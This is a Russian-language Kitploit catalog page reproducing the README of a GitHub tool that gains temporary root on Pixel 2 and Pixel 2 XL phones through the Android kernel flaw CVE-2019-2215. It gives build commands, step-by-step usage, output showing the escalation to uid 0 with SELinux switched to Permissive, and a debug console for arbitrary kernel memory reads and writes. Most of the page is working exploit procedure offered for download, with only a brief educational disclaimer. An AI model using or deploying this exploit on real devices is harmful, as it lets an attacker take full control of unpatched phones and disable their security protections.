Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-2215 — Temproot для Pixel 2 и Pixel 2 XL через CVE-2019-2215 | Kitploit
Инструменты/GitHubGitHub/kangtastic/cve-2019-2215
Безопасность AndroidПовышение привилегийКриминалистика памятиЭксплуатацияОтладчикиОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubkangtastic/cve-2019-2215

cve-2019-2215

Temproot для Pixel 2 и Pixel 2 XL через CVE-2019-2215

Репозиторий
134556 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-2215

Временный root для Pixel 2 и Pixel 2 XL через CVE-2019-2215

(На основе proof-of-concept от Jann Horn и Maddie Stone из Google Project Zero)


Обзор

Демонстрация атаки повышения привилегий только через чтение/запись памяти ядра, приводящая к временной root-оболочке.

Работает на устройствах Google Pixel 2/Pixel 2 XL (walleye/taimen) с образом QP1A.190711.020 от сентября 2019 года и версией ядра-BuildID 4.4.177-g83bee1dc48e8.

Для работы этого инструмента на других устройствах и/или ядрах, затронутых той же уязвимостью, необходимо найти и изменить некоторые смещения. Как упоминалось в багтрекере Project Zero, это не слишком сложно.

Также включена мини-консоль отладки, которая предоставляет интерфейс, похожий на hex-редактор, для взаимодействия с памятью ядра и возможность запуска оболочки.

Отказ от ответственности

  • Данный инструмент и его исходный код предоставлены исключительно в документационных и образовательных целях.

  • Не используйте этот инструмент. Это плохая идея.

  • Помощь, поддержка, обновления — ничего из этого.

Компиляция

Для удобства прилагается Makefile, который работает с кросс-компилятором из Android NDK r19 или выше.

root@kitploit:~
# Загрузите Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip

# Распакуйте NDK и укажите его путь как $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip  # необязательно
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20

# Клонируйте git-репозиторий `cve-2019-2215` и перейдите в него.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215

# Соберите бинарный файл.
user@host:~/cve-2019-2215$ make all  # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped

Использование

(примеры вывода получены на Pixel 2 XL через adb)

Временный root

После компиляции перенесите бинарный файл на устройство, установите права на выполнение и запустите его. (Подойдёт любое место в /data/)

Пример

root@kitploit:~
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $

Успех не гарантирован, устройство может даже полностью зависнуть, но обычно SELinux устанавливается в Permissive и запускается root-оболочка.

Консоль отладки

Передайте debug в качестве единственного аргумента командной строки, чтобы запустить мини-консоль отладки вместо процедуры повышения привилегий после достижения чтения/записи памяти ядра.

Справочник команд

root@kitploit:~
debug> help
quick help
    print
        print kernel base address, some kernel symbol offsets,
        and address of current task_struct as hexstrings
    read <kaddr> <len>
        read <len> bytes from <kaddr> and display as a hexdump
        <kaddr> is a hexstring not prefixed with 0x
        <len> is 1-4096 or 0x1-0x1000
    write <kaddr> <data>
        write <data> to <kaddr>
        <kaddr> is a hexstring not prefixed with 0x
        <data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*
        e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set
        its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is
        '01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)
    shell
        launch a shell (hint: did we ~somehow~ become another user? :P)
    help
        print this help
    exit
        exit debug console

Пример

Установка SELinux обратно в Enforcing из Permissive непривилегированным пользователем.

root@kitploit:~
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
launching debug console, enter 'help' for quick help
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff  ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000  .#@.............
ffffff9bafc4e4c8: 0000 00                                  ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000                                ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $
Скачать инструмент